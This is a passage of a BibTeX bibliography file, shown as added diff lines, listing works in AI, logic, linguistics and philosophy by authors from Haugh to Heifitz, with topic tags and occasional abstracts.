Shrobe}, + pages = {218--223}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + contentnote = {This develops a causal minimization solution to + the YSP.}, + topic = {kr;causal-reasoning;frame-problem;yale-shooting-problem; + kr-course;} + } + +@inproceedings{ haugh:1988a, + author = {Brian Haugh}, + title = {Tractable Theories of Multiple Defeasible Inheritance in + Ordinary Non-Monotonic Logics}, + booktitle = {Proceedings of the Seventh National Conference on + Artificial Intelligence}, + year = {1988}, + editor = {Reid Smith and Tom Mitchell}, + pages = {421--426}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {inheritance-theory;tractable-logics;} + } + +@book{ haupt-haupt:1998a, + author = {Randy I Haupt and Sue Ellen Haupt}, + title = {Practical Genetic Algorithms}, + publisher = {John Wiley and Sons}, + year = {1998}, + address = {New York}, + topic = {genetic-algorithms;} + } + +@phdthesis{ hauptman:1991a, + author = {Alexander G. Hauptman}, + title = {Meaning from Structure in Natural Language Interfaces}, + school = {Carnegie Mellon University}, + year = {1991}, + type = {Ph.{D}. Dissertation}, + address = {Pittsburgh}, + topic = {computational-linguistics;nl-interfaces;} + } + +@book{ hausman:1992a, + author = {Daniel M. Hausman}, + title = {The Inexact and Separate Science of Economics}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge, England}, + xref = {Review: phillips_d:1994a.}, + topic = {philosophy-of-economics;} + } + +@article{ hausman:1996a, + author = {Daniel M. Hausman}, + title = {Causation and Counterfactual Dependence Reconsidered}, + journal = {No\^us}, + year = {1996}, + volume = {30}, + number = {1}, + pages = {55--74}, + topic = {causality;conditionals;} + } + +@inproceedings{ hausman:1997a, + author = {Daniel M. Hausman}, + title = {Causation, Agency, and Independence}, + booktitle = {{PSA} 1996: Proceedings of the 1996 Biennial Meetings + of the {P}hilosophy of {S}cience {A}ssociation}, + year = {1997}, + editor = {Lindley Darden}, + pages = {S15--S25}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + note = {Supplementary Issue of Philosophy of Science.}, + topic = {causality;agency;} + } + +@book{ hausser:1999a, + author = {Roland Hausser}, + title = {Foundations of Computational Linguistics: + Man-Machine Communication in Natural Language}, + publisher = {Springer-Verlag}, + year = {1999}, + address = {Berlin}, + xref = {Review: gelbukh:2000a}, + topic = {computational-linguistics;} + } + +@article{ hausser:2001a, + author = {Roland Hausser}, + title = {Database Semantics for Natural Language}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {130}, + number = {1}, + pages = {27--74}, + topic = {nl-interpretation;} + } + +@article{ haussler:1988a, + author = {David Haussler}, + title = {Quantifying Inductive Bias: {AI} Learning Algorithms and + {V}aliant'S Learning Framework}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {1}, + pages = {177--221}, + topic = {machine-learning;} + } + +@incollection{ hautamaki:1992a, + author = {Antti Hautam\"aki}, + title = {A Conceptual Space Approach to Semantic Networks}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {517--525}, + address = {Oxford}, + topic = {kr;semantic-networks;inheritance-theory;kr-course;} + } + +@article{ haviland-clark_hh:1974a, + author = {S.E. Haviland and Herbert H. Clark}, + title = {What's New? Acquiring New Information as a Process in + Comprehension}, + journal = {Journal of Verbal Learning and Verbal Behavior}, + year = {1974}, + volume = {13}, + pages = {512--521}, + missinginfo = {A's 1st name, number}, + topic = {given-new;cognitive-psychology;} + } + +@article{ haviland_s-clark:1974a, + author = {S. Haviland and Herbert Clark}, + title = {What's New? Acquiring New Information as a Process in + Communication}, + journal = {Journal of Verbal Learning and Verbal Behavior}, + year = {1974}, + volume = {13}, + pages = {512--521}, + missinginfo = {A's 1st name, number}, + topic = {given-new;pragmatics;} + } + +@incollection{ hawes:1983a, + author = {Leonard C. Hawes}, + title = {Conversational Coherence}, + booktitle = {Conversational Coherence: Form, Structure and + Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {285--320}, + address = {London}, + topic = {discourse-coherence;discourse-analysis; + transcription-methodology;pragmatics;} + } + +@book{ hawking:1988a, + author = {Stephen Hawking}, + title = {A Brief History of Time}, + publisher = {Bantam Books}, + year = {1988}, + address = {New York}, + topic = {physical-time;} + } + +@book{ hawkins_ja:1978a, + author = {John A. Hawkins}, + title = {Definiteness and Indefiniteness: A Study in + Reference and Grammaticality Production}, + publisher = {John A. Hawkins}, + year = {1978}, + address = {Atlantic Highlands, New Jersey}, + xref = {Review: harris_m:1980a.}, + topic = {indefiniteness;definiteness;} + } + +@unpublished{ hawkins_r:1978a, + author = {Roger Hawkins}, + title = {Adverbs in and out of Focus}, + year = {1978}, + note = {Unpublished manuscript.}, + topic = {adverbs;} + } + +@unpublished{ hawley:2002a, + author = {Kathryn Hawley}, + title = {Success and Knowing How}, + year = {2002}, + note = {Unpublished manuscript, St. Andrews.}, + topic = {knowing-how;} + } + +@unpublished{ hawthorn:1980a, + author = {John Hawthorn}, + title = {The Consistency of Natural Languages}, + year = {1980}, + note = {Unpublished manuscript, McGill University.}, + topic = {semantic-paradoxes;} + } + +@article{ hawthorne:1993a, + author = {James Hawthorne}, + title = {Bayesian Induction Is Eliminative Induction}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {99--138}, + topic = {induction;} + } + +@article{ hawthorne:1996a, + author = {James Hawthorne}, + title = {On the Logic of Nonmonotonic Conditionals and Conditional + Probabilities}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {2}, + pages = {185--218}, + topic = {conditionals;nonmonotonic-conditionals;probability;} + } + +@article{ hawthorne:1996b, + author = {James Hawthorne}, + title = {Mathematical Instrumentalism Meets the Conjunction Objection}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {4}, + pages = {333--361}, + topic = {philosophy-of-science;} + } + +@article{ hawthorne:1998a, + author = {James Hawthorne}, + title = {On the Logic of Nonmonotonic Conditionals and + Conditional Probabilities: Predicate Logic}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {1}, + pages = {1--34}, + topic = {conditionals;nonmonotonic-logic;ity-semantics + primitive-conditional-probability;} + } + +@article{ hawthorne:2000a, + author = {John Hawthorne}, + title = {Before Effect and {Z}eno Causality}, + journal = {No\^us}, + year = {2000}, + volume = {34}, + number = {4}, + pages = {622--633}, + topic = {paradoxes-of-physical-infinity;} + } + +@incollection{ hax-wiig:1977a, + author = {Arnaldo C. Hax and Karl M. Wiig}, + title = {The Use of Decision Analysis in Capital Investment Problems}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {277--297}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;foundations-of-utility;} + } + +@inproceedings{ hayashi:1999a, + author = {Hishashi Hayashi}, + title = {Abductive Constraint Logic Programming with + Constructive Negation}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {87--94}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;logic-programming;abduction; + constraint-satisfaction;} + } + +@incollection{ haycock-zamparelli:1999a, + author = {Caroline Haycock and Roberto Zamparelli}, + title = {Toward a Unified Analysis of {DP} Conjunction}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {127--132}, + address = {Amsterdam}, + topic = {conjunction;nl-semantics;} + } + +@book{ hayes_je-etal:1979a, + editor = {Jean E. Hayes and others}, + title = {Machine Intelligence, Vol. 9: Machine Expertise and The Human + Interface}, + publisher = {John Wiley and Sons}, + year = {1979}, + address = {New York}, + topic = {AI-survey;HCI;} + } + +@book{ hayes_je-etal:1988a, + editor = {Jean E. Hayes and Donald Michie and J. Richards}, + title = {Machine Intelligence 11: Logic and the Acquisition of + Knowledge}, + publisher = {Oxford University Press}, + year = {1988}, + address = {Oxford}, + topic = {AI-survey;logic-in-AI;} + } + +@incollection{ hayes_pj1:1973a1, + author = {Patrick Hayes}, + title = {The Frame Problem and Related Problems in Artificial + Intelligence}, + booktitle = {Artificial and Human Thinking}, + editor = {Alick Elithorn and David Jones}, + publisher = {Jossey-Bass}, + address = {San Francisco}, + year = {1973}, + pages = {41--59}, + xref = {Republication: hayes_pj1:1973a2.}, + topic = {frame-problem;} + } + +@incollection{ hayes_pj1:1973a2, + author = {Patrick Hayes}, + title = {The Frame Problem and Related Problems in Artificial + Intelligence}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {223--230}, + address = {Los Altos, California}, + xref = {Journal Publication: hayes_pj1:1973a2.}, + topic = {frame-problem;} + } + +@inproceedings{ hayes_pj1:1977a, + author = {Patrick Hayes}, + title = {In Defense of Logic}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + editor = {John McDermott}, + pages = {87--90}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {logic-in-AI;} + } + +@incollection{ hayes_pj1:1979a1, + author = {Patrick J. Hayes}, + title = {The Logic of Frames}, + booktitle = {Frame Conceptions and Text Understanding}, + publisher = {Walter de Gruyter and Co.}, + year = {1979}, + editor = {D. Metzing}, + address = {Berlin}, + xref = {Republications: hayes_pj1:1979a2, hayes_pj1:1979a3}, + topic = {kr;frames;kr-course;} + } + +@incollection{ hayes_pj1:1979a2, + author = {Patrick Hayes}, + title = {The Logic of Frames}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {451--458}, + address = {Los Altos, California}, + xref = {Originally published in D. Metzing; Frame Conceptions and + Text Understanding; 1979. See hayes_pj1:1979a1.}, + topic = {kr;frames;kr-course;} + } + +@incollection{ hayes_pj1:1979a3, + author = {Patrick J. Hayes}, + title = {The Logic of Frames}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + missinginfo = {pages}, + xref = {Originally published in D. Metzing; Frame Conceptions and + Text Understanding; 1979. See hayes_pj1:1979a1.}, + topic = {inheritance-theory;frames;krcourse;kr;} + } + +@incollection{ hayes_pj1:1981a, + author = {Patrick Hayes}, + title = {The Frame Problem and Related Problems in + Artificial Intelligence}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {223--230}, + address = {Los Altos, California}, + xref = {Journal Publication: } , + topic = {frame-problem;} + } + +@incollection{ hayes_pj1:1985a, + author = {Patrick J. Hayes}, + title = {Naive Physiscs {I}: Ontology for Liquids}, + publisher = {Ablex Publishing Corp.}, + address = {Norwood, New Jersey}, + year = {1985}, + editor = {Jerry Hobbs and Robert C. Moore}, + booktitle = {Formal Theories of the Commonsense World}, + pages = {71--107}, + topic = {common-sense-knowledge;qualitative-physics;} + } + +@incollection{ hayes_pj1:1985b, + author = {Patrick J. Hayes}, + title = {The Second Naive Physics Manifesto}, + booktitle = {Formal Theories of the Commonsense World}, + publisher = {Ablex Publishing Co.}, + year = {1985}, + editor = {Jerry R. Hobbs and Robert C. Moore}, + pages = {269--317}, + address = {New York}, + topic = {common-sense-knowledge;qualitative-physics;} + } + +@incollection{ hayes_pj1:1987a, + author = {Patrick Hayes}, + title = {What the Frame Problem Is and Isn't}, + booktitle = {The Robot's Dilemma: The Frame Problem in Artificial + Intelligence}, + publisher = {Ablex Publishing Corp.}, + year = {1987}, + editor = {Zenon Pylyshyn}, + address = {Norwood, New Jersey}, + pages = {123--137}, + topic = {frame-problem;philosophy-AI;} + } + +@article{ hayes_pj1:1987b, + author = {Patrick Hayes}, + title = {A Critique of Pure Reason}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {179--185}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@incollection{ hayes_pj1:1995a, + author = {Patrick Hayes}, + title = {Introduction (To Part {II}: Theoretical Foundations)}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {205--210}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams;visual-reasoning;} + } + +@inproceedings{ hayes_pj1:1995b, + author = {Patrick Hayes}, + title = {What is a Context?}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {3}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + note = {Abstract.}, + topic = {context;} + } + +@incollection{ hayes_pj1-etal:1996a, + author = {Patrick J. Hayes and Kenneth M. Ford and Neil M. Agnew}, + title = {Epilog: {G}oldilocks and the Frame Problem}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1996}, + pages = {135--137}, + topic = {frame-problem;philosophy-AI;} + } + +@inproceedings{ hayes_pj1:1997a, + author = {Patrick J. Hayes}, + title = {Contexts in Context}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {71--81}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;} + } + +@incollection{ hayes_pj1:1999a, + author = {Patrick Hayes}, + title = {Knowledge Representation}, + booktitle = {{MIT} Encyclopedia of the Cognitive Sciences}, + editor = {Robert A. Wilson and Frank C. Keil}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + topic = {kr-survey;krcourse;} +} + +@techreport{ hayes_pj2-carbonell:1983a, + author = {Philip J. Hayes and Jaime G. Carbonell}, + title = {A Tutorial on Techniques and Applications for Natural + Language Processing}, + institution = {Department of Computer Science, Carnegie-Mellon + University}, + number = {CMU--CS--83--158}, + year = {1983}, + address = {Pittsburgh, Pennsylvania}, + topic = {computational-linguistics;} + } + +@article{ hayesroth_b-hayesroth_f:1979a, + author = {Barbara Hayes-Roth and Frederick Hayes-Roth}, + title = {A Cognitive Model of Planning}, + journal = {Cognitive Science}, + year = {1979}, + volume = {3}, + number = {4}, + pages = {275--310}, + topic = {planning;cognitive-psychology;} + } + +@article{ hayesroth_b:1985a, + author = {Barbara Hayes-Roth}, + title = {A Blackboard Architecture for Control}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {3}, + pages = {251--321}, + topic = {procedural-control;blackboard-architectures;} + } + +@article{ hayesroth_b:1993a, + author = {Barbara Hayes-Roth}, + title = {Intelligent Control}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {213--220}, + topic = {procedural-control;} + } + +@article{ hayesroth_b:1993b, + author = {Barbara Hayes-Roth}, + title = {On Building Integrated Cognitive Agents: A Review of + {A}llen {N}ewell's `Unified Theories of Cognition'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {329--341}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@article{ hayesroth_b:1995a, + author = {Barbara Hayes-Roth}, + title = {An Architecture for Adaptive Intelligent Systems}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {72}, + number = {1--2}, + pages = {329--365}, + acontentnote = {Abstract: + Our goal is to understand and build comprehensive agents that + function effectively in challenging niches. In particular, we + identify a class of niches to be occupied by "adaptive + intelligent systems (AISs)". In contrast with niches occupied by + typical AI agents, AIS niches present situations that vary + dynamically along several key dimensions: different combinations + of required tasks, different configurations of available + resources, contextual conditions ranging from benign to + stressful, and different performance criteria. We present a + small class hierarchy of AIS niches that exhibit these + dimensions of variability and describe a particular AIS niche, + ICU (intensive care unit) patient monitoring, which we use for + illustration throughout the paper. To function effectively + throughout the range of situations presented by an AIS niche, an + agent must be highly adaptive. In contrast with the rather + stereotypic behavior of typical AI agents, an AIS must adapt + several key aspects of its behavior to its dynamic situation: + its perceptual strategy, its control mode, its choices of + reasoning tasks to perform, its choices of reasoning methods for + performing chosen tasks; and its meta-control strategy for + global coordination of all its behavior. We have designed and + implemented an agent architecture that supports all of these + different kinds of adaptation by exploiting a single underlying + theoretical concept: An agent dynamically constructs explicit + control plans to guide its choices among situation-triggered + behaviors. The architecture has been used to build experimental + agents for several AIS niches. We illustrate the architecture + and its support for adaptation with examples from Guardian, an + experimental agent for ICU monitoring.}, + topic = {agent-architectures;machine-learning;} + } + +@book{ hayesroth_f-etal:1983a, + editor = {Frederick Hayes-Roth and Donald A. Waterman and + Douglas B. Lenat}, + title = {Building Expert Systems}, + publisher = {Addison-Wesley Publizhing Co.}, + year = {1983}, + address = {Reading, Massachusetts}, + ISBN = {0201106868}, + xref = {Reviews: dym:1985a, dekleer:1985a.}, + topic = {expert-systems;} + } + +@article{ hayesroth_f:1985a, + author = {Frederick Hayes-Roth}, + title = {Rule-Based Systems}, + journal = {Communications of the {ACM}}, + year = {1985}, + volume = {28}, + number = {9}, + pages = {921--932}, + missinginfo = {number}, + topic = {rule-based-reasoning;} + } + +@article{ hayton-etal:1999a, + author = {Paul M. Hayton and Michael Brady and Stephen M. Smith + and Niall Moore}, + title = {A Non-Rigid Registration Algorithm for Dynamic Breast + {MR} Images}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {125--156}, + topic = {image-processing;} + } + +@incollection{ hazarika-cohn:2002a, + author = {Shyamanta H Hazarika and Anthony G. Cohn}, + title = {Adducing Qualitative Spatio-Temporal Histories from + Partial Observations}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {14--25}, + address = {San Francisco, California}, + topic = {kr;abduction;circumscription;spatial-reasoning; + temporal-reasoning;} + } + +@article{ hazen:1976a, + author = {Allen P. Hazen}, + title = {Expressive Completeness in Modal Language}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {1}, + pages = {25--46}, + topic = {modal-logic;} + } + +@article{ hazen-slote:1979a, + author = {Allen P. Hazen and Michael Slote}, + title = {Even If}, + journal = {Analysis}, + year = {1979}, + volume = {39}, + pages = {34--41}, + missinginfo = {number}, + topic = {`even';sentence-focus;pragmatics;} + } + +@article{ hazen:1981a, + author = {Allen P. Hazen}, + title = {Davis' Formulation of {K}ripke's Theory of Truth: + A Correction}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {309--311}, + topic = {truth;fixpoints;semantic-paradoxes;} + } + +@incollection{ hazen:1983a, + author = {Allen Hazen}, + title = {Predicative Logics}, + booktitle = {Handbook of Philosophical Logic, Volume {I}: + Elements of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1983}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {331--407}, + address = {Dordrecht}, + topic = {ramified-type-theory;predicativity;} + } + +@article{ hazen:1987a, + author = {Allen Hazen}, + title = {Natural Deduction and {H}ilbert's $\epsilon$ Operator}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {4}, + pages = {411--421}, + topic = {proof-theory;epsilon-operator;} + } + +@article{ hazen:1995a, + author = {Allen P. Hazen}, + title = {On Quantifying Out}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {3}, + pages = {291--319}, + topic = {quantification;intensionality;} + } + +@article{ hazen:1997a, + author = {Allen P. Hazen}, + title = {Relations in Monadic Third-Order Logic}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {6}, + pages = {619--628}, + topic = {higher-order-logic;relations;} + } + +@article{ he-yao:2001a, + author = {Jun He and Xin Yao}, + title = {Drift Analysis and Average Time Complexity of Evolutionary + Algorithms}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {127}, + number = {1}, + pages = {57--85}, + xref = {Erratum: he-yao:2002a.}, + topic = {complexity-in-AI;genetic-algorithms;} + } + +@article{ he-yao:2002a, + author = {Jun He and Xin Yao}, + title = {Erratum to `Drift Analysis and Average Time Complexity of + Evolutionary Algorithms'\,}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {140}, + number = {1--2}, + pages = {245--248}, + xref = {Erratum to: he-yao:2001a.}, + topic = {complexity-in-AI;genetic-algorithms;} + } + +@article{ heal:1994a, + author = {Jane Heal}, + title = {Semantic Holism: Still a Good Buy}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1994}, + volume = {94}, + note = {Supplementary Series.}, + pages = {323--329}, + topic = {philosophy-of-language;holism;foundations-of-semantics;} + } + +@incollection{ heal:1995a, + author = {Jane Heal}, + title = {How to Think about Thinking}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {33--52}, + address = {Oxford}, + topic = {folk-psychology;mental-simulation; + propositional-attitude-ascription;} + } + +@incollection{ heal:1995b, + author = {Jane Heal}, + title = {Replication and Functionalism}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {45--59}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@inproceedings{ healey:1999a, + author = {Patrick G.T. Healey}, + title = {Accounting for Communication: + Estimating Effort, Transparency and Coherence}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {54--60}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;coherence;empirical-methods-in-discourse;} + } + +@incollection{ hearn:1991a, + author = {Anthony C. Hearn}, + title = {Algebraic Computation: The Quiet Revolution}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {177--186}, + address = {San Diego}, + topic = {algebraic-computation;computer-assisted-physics; + computer-assisted-science;} + } + +@article{ hearst:1997a, + author = {Marti A. Hearst}, + title = {Tex{T}iling: Segmenting Text into Multi-paragraph + Subtopic Passages}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {1}, + pages = {33--64}, + topic = {discourse-segmentation;corpus-linguistics;pragmatics;} + } + +@incollection{ heath:1991a, + author = {Shirley Brice Heath}, + title = {\,`It's About Winning!' The language + of Knowledge in Baseball}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {101--124}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@book{ heath:2001a, + author = {Joseph Heath}, + title = {Communicative Action and Rational Choice}, + publisher = {The {MIT} Press}, + year = {2001}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-08291-8}, + contentnote = {Habermas' theory of communication and decision + theory.}, + topic = {continental-philosophy;pragmatics;philosophy-of-language;} + } + +@article{ heck:1993a, + author = {Richard G. {Heck, Jr.}}, + title = {A Note on the Logic of (Higher-Order) Vagueness}, + journal = {Analysis}, + year = {1993}, + volume = {53}, + number = {4}, + pages = {201--208}, + topic = {vagueness;} + } + +@article{ heck:1995a, + author = {Richard G. {Heck, Jr.}}, + title = {The Sense of Communication}, + journal = {Mind}, + year = {1995}, + volume = {104}, + number = {413}, + pages = {79--106}, + topic = {Frege;sense-reference;} + } + +@article{ heck:1997a, + author = {Richard G. {Heck, Jr.}}, + title = {Finitude and {H}ume's Principle}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {6}, + pages = {589--617}, + contentnote = {"Hume's Principle" says that no. of F's is same as + number of G's iff there is a one-one map between F and G. + The paper gives no reference for this term. The result here + is that the axs for 2nd order arithmetic are derivable in + 2nd order logic from Hume's Principle restricted to finite + concepts.}, + topic = {foundations-of-arithmetic;} + } + +@article{ heck:1997b, + author = {Paul G. {Heck, Jr.}}, + title = {Tarski, Truth, and Semantics}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {4}, + pages = {533--554}, + topic = {Tarski;truth;} + } + +@article{ heck:2000a, + author = {Richard G. {Heck, Jr.}}, + title = {Nonconceptual Content and the `Space of Reasons'\,}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {4}, + pages = {483--523}, + topic = {epistemology;} + } + +@book{ heckerman-mamdani:1993a, + editor = {David Heckerman and Abe Mamdani}, + title = {Uncertainty in Artificial Intelligence. Proceedings of + the Ninth Conference (1993)}, + publisher = {Morgan Kaufmann Publishers}, + year = {1993}, + address = {San Francisco}, + topic = {reasoning-about-uncertainty;} + } + +@article{ heckerman-shachter:1995a, + author = {David Heckerman and R. Shachter}, + title = {Decision-Theoretic Foundations for Causal Reasoning}, + journal = {Journal of Artificial Intelligence Research}, + year = {1995}, + volume = {3}, + pages = {405--430}, + topic = {decision-theoretic-planning;causality;} + } + +@article{ hedenius:1963a, + author = {I. Hedenius}, + title = {Performatives}, + journal = {Theoria}, + year = {1963}, + volume = {29}, + pages = {115--136}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;pragmatics;} + } + +@article{ hedrick:1976a, + author = {Charles L. Hedrick}, + title = {Learning Production Systems from Examples}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {1}, + pages = {21--49}, + topic = {machine-learning;rule-learning;rule-based-reasoning;} + } + +@techreport{ heeman:1991a, + author = {Peter A. Heeman}, + title = {A Computational Model of Collaboration on Referring + Expressions}, + institution = {Computer Systems Research Institute, University + of Toronto}, + number = {CSRI--251}, + year = {1991}, + address = {Toronto}, + topic = {referring-expressions;discourse;coord-in-conversation;} + } + +@inproceedings{ heeman-allen_jf:1997a, + author = {Peter A. Heeman and James F. Allen}, + title = {Intonational Boundaries, Speech Repairs, and + Discourse Markers: Modeling Spoken Dialog}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {254--261}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {intonation;discourse;discourse-segmentation; + statistical-nlp;} + } + +@article{ heeman-allen:1999a, + author = {Peter A. Heeman and James F. Allen}, + title = {Speech Repairs, Intonational Phrases, and Discourse + Markers: Modeling Speakers' Utterances in Spoken Dialogue}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {4}, + pages = {527--571}, + topic = {discourse-repairs;n-gram-models;corpus-tagging; + discourse-segmentation;} + } + +@incollection{ heeschen:1979a, + author = {Claus Heeschen}, + title = {On the Representation of Classificatory and Propositional + Lexical Relations in the Human Brain}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {364--375}, + topic = {neurolinguistics;} + } + +@article{ hegarty:1996a, + author = {Michael Hegarty}, + title = {The Role of Categorization in the Contribution of the + Conditional `then': Comments on Iatridou}, + journal = {Natural Language Semantics}, + year = {1996}, + volume = {4}, + number = {1}, + pages = {111--119}, + contentnote = {Useful as a summary of the recent linguistic work.}, + topic = {conditionals;nl-semantics;} + } + +@book{ heger-petofi:1977a, + editor = {Klaus Heger and J\'anos A. Pet\"ofi}, + title = {{K}asustheorie, {K}lassifikation, {S}emantische {I}nterpretation: + {B}eitr. Zur {L}exikologie und {S}emantik}, + publisher = {Buske}, + year = {1977}, + address = {Hamburg}, + ISBN = {3871182974 :}, + topic = {lexical-semantics;} + } + +@incollection{ hegner:1997a, + author = {Stephen J. Hegner}, + title = {A Family of Decidable Feature Logics + which Support {HPSG}-Style Set and List Construction}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {208--227}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;HPSG; + feature-structure-logics;} + } + +@article{ heidelberger:1974a, + author = {Herbert Heidelberger}, + title = {Kaplan on {Q}uine and Suspension of Judgement}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {4}, + pages = {441--443}, + topic = {quantifying-in-modality;} + } + +@incollection{ heifitz:1994a, + author = {Aviad Heifitz}, + title = {Infinitary Epistemic Logic}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = 